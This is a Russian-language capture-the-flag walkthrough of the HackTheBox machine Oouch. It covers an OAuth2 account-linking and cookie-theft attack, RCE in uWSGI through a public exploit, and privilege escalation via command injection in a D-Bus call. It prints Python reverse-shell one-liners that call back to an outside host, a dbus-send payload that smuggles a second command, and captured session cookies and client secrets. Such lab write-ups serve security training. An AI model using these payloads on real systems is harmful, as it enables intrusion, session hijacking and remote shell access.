HackTheBox. Прохождение Oouch. OAuth2, RCE в uWSGI и LPE через DBUS

  • Tutorial

Продолжаю публикацию решений отправленных на дорешивание машин с площадки HackTheBox.

В данной статье разберем атаку на OAuth2 аутентификацию, а также зарегистрируем свое приложение для угона куки администратора. В добавок к этому, проэксплуатируем RCE в веб-сервере и сервере веб-приложений uWSGI, а также повысим привилегии через шину сообщений D-Bus.

Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ.

Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Recon


Данная машина имеет IP адрес 10.10.10.177, который я добавляю в /etc/hosts.

10.10.10.177 	oouch.htb

Первым делом сканируем открытые порты. Так как сканировать все порты nmap’ом долго, то я сначала сделаю это с помощью masscan. Мы сканируем все TCP и UDP порты с интерфейса tun0 со скоростью 500 пакетов в секунду.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.182      --rate=500



Теперь для получения более подробной информации о сервисах, которые работают на портах, запустим сканирование с опцией -А.

nmap -A oouch.htb -p8000,22,21,5000,5555



Таким образом, имеем:

  • Порт 22 — SSH.
  • Порт 8000 — отвечающий кодом 400 веб-сервер.
  • Порт 5000 — веб-сервер, редирект на страницу авторизации.
  • Порт 21 — FTP, на котором расположен файл project.txt, доступный с авторизацией от anonymous.

Зайдем на FTP как anonymous, скачаем файл и посмотрим.





Ничего нам не говорит. Идем на веб-сервер.



Как и следовало из отчета nmap, происходит редирект на страницу авторизации. Есть возможность регистрации, давайте зарегистрируемся, а потом авторизуемся.







Таким образом, сайт находится на стадии разработки, хранит минимум информации о пользователях, имеет возможность хранить документы (данная опция доступна только разработчику), а также имеет обратную связь с администраций. Нас уверяют, что сисадмин читает все сообщения.

При попытке угнать куки, тег был заблокирован, (кстати уже не блокируется).



Не найдя никакого вектора, было решено просканировать директории.

dirb http://oouch.htb:5000/



И находим одну скрытую директорию oauth.



Давайте добавим данный домен в /etc/hosts.

10.10.10.177    consumer.oouch.htb



Но происходит редирект. Давайте добавим и этот домен в /etc/hosts.

10.10.10.177    authorization.oouch.htb



Снова встречает страница авторизации. Авторизуемся с прежними учетными данными. Но при новой попытке, нас перебрасывает на 8000 порт.

consumer.oouch.htb:5000/oauth/connect -> authorization.oouch.htb:8000/login/



Сразу просканировав директории, не находим ничего интересного, поэтому регистрируемся и здесь.



И находим новую директорию, которую не нашел dirb. Давайте проведем поиск в ней.

dirb http://authorization.oouch.htb:8000/oauth



Есть еще одна директория! Но там нас встречает HTTP аутентификация.



Делаем и в этой директории.

dirb http://authorization.oouch.htb:8000/oauth/applications/



Скорее всего в этой директории находятся приложения, причем их можно регистрировать. Больше ничего интересного здесь не находим.

Зарегистрировавшись везде, где было необходимо возвращаемся к первоначальному коннекту. Используется OAuth аутентификация.

OAuth аутентификация


OAuth — открытый протокол авторизации, который позволяет предоставить третьей стороне ограниченный доступ к защищённым ресурсам пользователя без необходимости передавать ей (третьей стороне) логин и пароль.

В OAuth используются три вида полномочий: учётные данные клиента (client credentials), временные учётные данные (temporary credentials) и токены (token credentials).

Шаги протокола OAuth 2.0:

  1. Приложение запрашивает авторизацию для доступа к ресурсам сервиса от пользователя. Приложение должно предоставить идентификатор клиента (client ID), секрет клиента (client secret), URI перенаправления (redirect URI) и необходимые области для доступа.
  2. Если пользователь авторизует запрос, приложение получает authorization grant.
  3. Приложение запрашивает токен доступа с сервера авторизации, предоставляя аутентификацию личности и разрешение на авторизацию.
  4. Если идентификация приложения аутентифицирована, а разрешение авторизации является действительным, сервер авторизации выдает токен доступа (одноразовый код). Авторизация завершена.
  5. Приложение запрашивает ресурс у сервера ресурсов и предоставляет токен доступа для аутентификации.
  6. Если токен доступа действителен, сервер ресурсов передает ресурс приложению.



Таким образом происходит связь учетной записи пользователя с определенными ресурсами на сервере ресурсов.

Атака на Oauth


На данный протокол может быть произведена атака, которая позволяет связать нашу учетную запись с ресурсами другого пользователя. Для этого нужно не использовать свой одноразовый токен доступа, а заставить другого пользователя передать его на сервер. Тогда учетная запись, которая владеет токеном, будет связана с ресурсами учетной записи, предоставившей его.
Так как сисадмин отвечает на все сообщения, то возможно он перейдет по ссылке, которую мы ему отправим. К тому же, в данном приложении токен доступа передается не в HTTP заголовке (как должно быть), а в параметре URL. Таким образом мы можем провести данную атаку.

Переходим по consumer.oouch.htb:5000/oauth/connect и отлавливаем с помощью Burp Suite.



Пропускаем данный запрос, и нас перенаправляют, причем с параметром client ID.



Пропускаем и этот запрос. Снова следует перенаправление, где можем наблюдать другие параметры протокола аутентификации.



Вновь пропускаем запрос. На странице появляется окно авторизации. Чтобы закончить нажимаем на кнопку авторизации.





Пропускаем данный запрос. И вот нас снова перенаправляют, причем в качестве параметра следует одноразовый код!



Сохраним данный токен и отбросим запрос. Давайте отправим администратору данную ссылку, чтобы когда он по ней перешел, наша учетная запись была привязана к его ресурсам (а если вспомнить — он имеет право хранить документы).



Теперь пройдем по consumer.oouch.htb:5000/oauth/login.







Нажимаем на уже знакомую кнопку, и в открывшейся странице наблюдаем профиль пользователя qtc.



Давайте посмотрим документы.



Есть записи про про SSH ключ, пользовательский каталог, и учетные данные для регистрации приложений.

Entry Point


Если мы сможем зарегистрировать свое приложение, то сможем вынудить администратора перейти на него и узнать его куки!

Давайте вернемся на страницу регистрации приложений и авторизуемся. И в открывшейся форме зарегистрируем новое приложение, указав публичный тип клиента, кодовый тип гранта авторизации и укажем открытый на локальном хосте порт для подключения.



Сохраняем себе client ID и client secret. Давайте попробуем авторизоваться сами, чтобы проверить, что аутентификация работает и пользователь будет перенаправлен к нам.

Давайте сформируем ссылку, в соответствующих параметрах указываем данные зарегистрированного приложения:

authorization.oouch.htb:8000/oauth/authorize/?client_id=MP2A40aHGaTtXQxFrElh7b0wn8RyKzaiV6NgAaHs&redirect_uri=http://10.10.14.203:4321&grant_type=authorization_code&client_secret=e3B28aHhwKktAeio6MoeAi6kssfgc8daNfWsZBHBmnKViS4TkyERpfOlpiuHCZqw1nnOayfifLpY9bwN9J7oGfbcoAVGP1Z4x1DpCG7tVRMF5Wk9wVbAYjIy7Q7wmmt6

Теперь перейдем по ней и увидим подключение.



Так как все работает, отправим ее администратору.



Таким образом мы узнаем его куки. Давайте применим их.



И мы авторизованы на сервере как qtc.

USER


Чтобы обратиться к ресурсу, нам нужен токен, а чтобы сервер его нам вернул, изменим тип гранта авторизации на client_credentials.



И запросим токен с помощью curl: установим метод POST (-X), необходимые заголовки HTTP (-H), cookie, данные, которые хотим отправить, а также разрешим редирект (-L). Так как ответ возвращается в формате JSON, то используем jq, чтобы красиво отобразить ответ.

curl -X POST 'http://authorization.oouch.htb:8000/oauth/token/' -H “Content-Type: application/x-www-form-urlencoded” --cookie
"csrftoken=sxOyInmM9PVewqQ8hDs0Z7k8heooUekr4MBiEi6SpB0vvUv55adzecadiDqGw4IK;sessionid=f6efischf0ppp14yp9q71ave5ev0lvcf" --data “grant_type=client_credentials&client_id=MP2A40aHGaTtXQxFrElh7b0wn8RyKzaiV6NgAaHs&client_secret=e3B28aHhwKktAeio6MoeAi6kssfgc8daNfWsZBHBmnKViS4TkyERpfOlpiuHCZqw1nnOayfifLpY9bwN9J7oGfbcoAVGP1Z4x1DpCG7tVRMF5Wk9wVbAYjIy7Q7wmmt6” -L -s | jq



Получаем токен. И теперь мы можем обратиться к ресурсу, который значился в документах. Сделаем это также с помощью curl.

curl "http://authorization.oouch.htb:8000/api/get_user.txt/?access_token=p6gmg7DqbR9kS2BVS9vRQRolGsOhbU" --cookie
"csrftoken=sxOyInmM9PVewqQ8hDs0Z7k8heooUekr4MBiEi6SpB0vvUv55adzecadiDqGw4IK;sessionid=f6efischf0ppp14yp9q71ave5ev0lvcf" | jq



Как и ожидалось, мы получаем информацию о пользователе. А вот что делать дальше я не знал! Догадка пришла, лишь когда мне намекнули “API для получения данных пользователя готово, а вот в планах еще для получения SSH ключа”. Тогда я подумал, что по аналогии с API get_user для получения информации о пользователе, нужно попробовать обратиться к get_ssh.

curl "http://authorization.oouch.htb:8000/api/get_ssh/?access_token=p6gmg7DqbR9kS2BVS9vRQRolGsOhbU" --cookie "csr
ftoken=sxOyInmM9PVewqQ8hDs0Z7k8heooUekr4MBiEi6SpB0vvUv55adzecadiDqGw4IK;sessionid=f6efischf0ppp14yp9q71ave5ev0lvcf" | jq



И получаем ключ пользователя qtc. Приведя его в нормальный вид, подключаемся к хосту и берем пользователя.



ROOT


Для recon’a на хосте запустим LinPEAS. В итоге находим записку, оставленную рутом.





И помимо того, что на хосте работает docker, и приватного ssh ключа, ничего не находим.



Скорее всего вектор атаки — это зайти на docker. К тому же в записке упоминаются DBus и iptables. Про iptables и так все знают, а вот DBus — другое дело. Dbus или Desktop Bus — это система, которая используется в основном в операционной системе Linux для того, чтобы различные приложения и сервисы могли общаться между собой.

Давай посмотрим найденные сетевые интерфейсы.



И видим 2 хоста. На первый же получилось зайти.



И находим директорию /code.



В start.sh находим использование uwsgi.



И в routes.py находим использование dbus.





Таким образом пользователь службы имеет право на использование dbus. То есть нам нужно получить шелл.

uWSGI — веб-сервер и сервер веб-приложений, первоначально реализованный для запуска приложений Python через протокол WSGI. Используется для запуска приложений на базе фреймворков Django, Flask и других. Поищем эксплоиты.



Скачиваем самый первый и загружаем на хост.

scp -i .ssh/id_rsa uwsgi-exp.py 172.18.0.5:~/

Запустим.



Таким образом нам нужен uwsgi сокет. Причем служба в данный момент работает.



Значит и сокет будет в директории tmp.



Давайте запустим эксплоит со всеми параметрами.



Выдает ошибку при импорте bytes, зайдем и поменяем исходный код.





Если снова запустить эксплоит, он отрабоет, но шела не будет. Я заменил bash шелл на python. Это сработало.

python uwsgi-exp.py -m unix -u /tmp/uwsgi.socket -c "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"172.18.0.1\",5432));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"



В терминале с неткатом видим подключение.



И вот теперь у нас есть права на запуск dbus. Команда dbus-send используется для отправки сообщения на шину сообщений D-Bus. Существует две общеизвестные шины сообщений: общесистемная (system) шина сообщений и шина сообщений для сеанса (session) входа пользователя в систему. Для использования dbus-send нужно знать “имя соединения”, которое указывается в параметре --dest. Путь к объекту и имя сообщения для отправки должны быть всегда указаны. Следующие аргументы, если таковые имеются, являются содержимым сообщения (аргументы сообщения). Они даются в виде имени типа, двоеточия, а затем значения аргумента. Возможные имена типов: string, int32, uint32, double, byte, boolean.

Пример команды:

dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block  htb.oouch.Block.Block “string:; SHELL”

Используем --print-reply чтобы заблокировать ответ на запрос.

dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block  htb.oouch.Block.Block "string:;python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"172.18.0.1\",6543));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"])';"



И видим успешное подключение.



Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.
AdBlock похитил этот баннер, но баннеры не зубы — отрастут

Подробнее
Реклама

Комментарии 0

Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

Самое читаемое